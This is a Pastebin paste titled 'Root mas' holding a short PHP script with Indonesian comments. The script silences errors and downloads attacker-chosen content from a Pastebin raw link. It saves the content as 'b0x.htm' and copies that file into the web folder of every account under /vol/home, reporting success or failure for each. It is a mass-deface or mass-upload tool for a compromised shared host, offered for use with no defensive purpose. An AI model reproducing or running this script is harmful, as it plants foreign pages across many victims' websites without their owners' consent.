SHARE
TWEET

Root mas

jgtstra Jul 18th, 2019 51 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(0);
  3.  
  4. $root = '/vol/home';
  5. $scan = scandir($root);
  6.  
  7. $nama = 'b0x.htm'; // ganti nama file
  8. $isi = file_get_contents('https://pastebin.com/raw/d1AUhhsp'); // ganti link pastebin scriptmu
  9.  
  10. $bikin = fopen($nama, "w");
  11.          fwrite($bikin, $isi);
  12.          fclose($bikin);
  13.  
  14. foreach ( $scan as $a ) {
  15.     $dir = "$a \n";
  16.     $gas = $root.'/'.$a.'/web/'.$nama;
  17.     $cos = "$gas \n";
  18.     $asu = @copy($nama, $gas);
  19.     if($asu) {
  20.         print 'Done! => '.$cos; }
  21.             else { print 'Failed! => '.$dir; }
  22.     }
  23. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top